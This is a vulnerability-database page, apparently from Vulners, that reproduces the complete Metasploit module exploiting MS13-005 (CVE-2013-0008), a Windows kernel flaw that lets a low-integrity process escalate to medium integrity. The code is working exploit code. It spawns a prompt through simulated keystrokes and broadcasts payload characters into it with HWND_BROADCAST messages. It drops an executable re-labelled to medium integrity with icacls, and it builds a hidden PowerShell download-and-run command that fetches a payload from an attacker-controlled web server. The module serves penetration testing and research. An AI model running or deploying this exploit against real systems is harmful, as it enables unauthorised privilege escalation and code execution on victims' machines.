Lucene search
+L

MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation

🗓️ 26 Jul 2013 02:18:17Reported by Tavis Ormandy, Axel Souchet, Ben Campbell <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 37 Views

MS13-005 HWND_BROADCAST Privilege Escalatio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
        'Description'	=> %q{
          Due to a problem with isolating window broadcast messages in the Windows kernel,
          an attacker can broadcast commands from a lower Integrity Level process to a
          higher Integrity Level process, thereby effecting a privilege escalation. This
          issue affects Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, and
          RT. Note that spawning a command prompt with the shortcut key combination Win+Shift+#
          does not work in Vista, so the attacker will have to check if the user is already
          running a command prompt and set SPAWN_PROMPT false.

          Three exploit techniques are available with this module. The WEB technique will
          execute a powershell encoded payload from a Web location.  The FILE technique
          will drop an executable to the file system, set it to medium integrity and execute
          it. The TYPE technique will attempt to execute a powershell encoded payload directly
          from the command line, but may take some time to complete.
        },
        'License'	=> MSF_LICENSE,
        'Author' => [
          'Tavis Ormandy', # Discovery
          'Axel Souchet', # @0vercl0k POC
          'Ben Campbell' # Metasploit module
        ],
        'Platform'	=> [ 'win' ],
        'SessionTypes'	=> [ 'meterpreter' ],
        'Targets' => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 40,
        },
        'DisclosureDate' => '2012-11-27',
        'References' => [
          [ 'CVE', '2013-0008' ],
          [ 'MSB', 'MS13-005' ],
          [ 'OSVDB', '88966'],
          [ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_railgun_api_multi
              stdapi_sys_config_getenv
              stdapi_sys_process_execute
              stdapi_sys_process_get_processes
              stdapi_sys_process_kill
            ]
          }
        }
      )
    )

    register_options(
      [
        OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
        OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB', 'FILE', 'TYPE']]),
        OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])
      ], self.class
    )
  end

  def low_integrity_level?
    tmp_dir = session.sys.config.getenv('USERPROFILE')
    cd(tmp_dir)
    new_dir = "#{rand_text_alpha(5)}"
    begin
      session.shell_command_token("mkdir #{new_dir}")
    rescue
      return true
    end

    if directory?(new_dir)
      session.shell_command_token("rmdir #{new_dir}")
      return false
    else
      return true
    end
  end

  def win_shift(number)
    vk = 0x30 + number
    bscan = 0x81 + number
    client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
    client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
    client.railgun.user32.keybd_event(vk, bscan, 0, 0)
    client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
    client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
    client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
  end

  def count_cmd_procs
    count = 0
    client.sys.process.each_process do |proc|
      if proc['name'] == 'cmd.exe'
        count += 1
      end
    end

    vprint_status("Cmd prompt count: #{count}")
    return count
  end

  def cleanup
    if datastore['SPAWN_PROMPT'] and @hwin
      vprint_status("Rehiding window...")
      client.railgun.user32.ShowWindow(@hwin, 0)
    end
    super
  end

  def exploit
    # First of all check if the session is running on Low Integrity Level.
    # If it isn't doesn't worth continue
    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
    fail_with(Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?

    # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
    # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
    # integrity process can write.
    drop_to_fs = false
    if datastore['TECHNIQUE'] == 'FILE'
      payload_file = "#{rand_text_alpha(5 + rand(3))}.exe"
      begin
        tmp_dir = session.sys.config.getenv('TEMP')
        tmp_dir << "\\Low" unless tmp_dir[-3, 3] =~ /Low/i
        cd(tmp_dir)
        print_status("Trying to drop payload to #{tmp_dir}...")
        if write_file(payload_file, generate_payload_exe)
          print_good("Payload dropped successfully, exploiting...")
          drop_to_fs = true
          register_file_for_cleanup(payload_file)
          payload_path = tmp_dir
        else
          print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
          drop_to_fs = false
        end
      rescue ::Rex::Post::Meterpreter::RequestError
        print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
        drop_to_fs = false
      end
    end

    if drop_to_fs
      command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
      make_it(command)
    elsif datastore['TECHNIQUE'] == 'TYPE'
      if datastore['CUSTOM_COMMAND']
        command = datastore['CUSTOM_COMMAND']
      else
        print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload")
        command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
      end
      make_it(command)
    else
      super
    end
  end

  def primer
    url = get_uri()
    download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
    command = generate_psh_command_line({
      :noprofile => true,
      :windowstyle => 'hidden',
      :command => download_and_run
    })
    make_it(command)
  end

  def make_it(command)
    if datastore['SPAWN_PROMPT']
      @hwin = client.railgun.kernel32.GetConsoleWindow()['return']
      if @hwin == nil
        @hwin = client.railgun.user32.GetForegroundWindow()['return']
      end
      client.railgun.user32.ShowWindow(@hwin, 0)
      client.railgun.user32.ShowWindow(@hwin, 5)

      # Spawn low integrity cmd.exe
      print_status("Spawning Low Integrity Cmd Prompt")
      windir = session.sys.config.getenv('windir')
      li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, { 'Hidden' => false }).pid

      count = count_cmd_procs
      spawned = false
      print_status("Brute forcing Taskbar Position")
      9.downto(1) do |number|
        vprint_status("Attempting Win+Shift+#{number}")
        win_shift(number)
        sleep(1)

        if count_cmd_procs > count
          print_good("Spawned Medium Integrity Cmd Prompt")
          spawned = true
          break
        end
      end

      client.sys.process.kill(li_cmd_pid)

      fail_with(Failure::Unknown, "No Cmd Prompt spawned") unless spawned
    end

    print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
    multi_rail = []
    command.each_char do |c|
      multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0]]
    end

    multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0]]
    print_status("Executing command...")
    client.railgun.multi(multi_rail)
  end

  def on_request_uri(cli, request)
    print_status("Delivering Payload")
    data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Sep 2021 21:59Current
0.1Low risk
Vulners AI Score0.1
CVSS 27.2
EPSS0.17089
37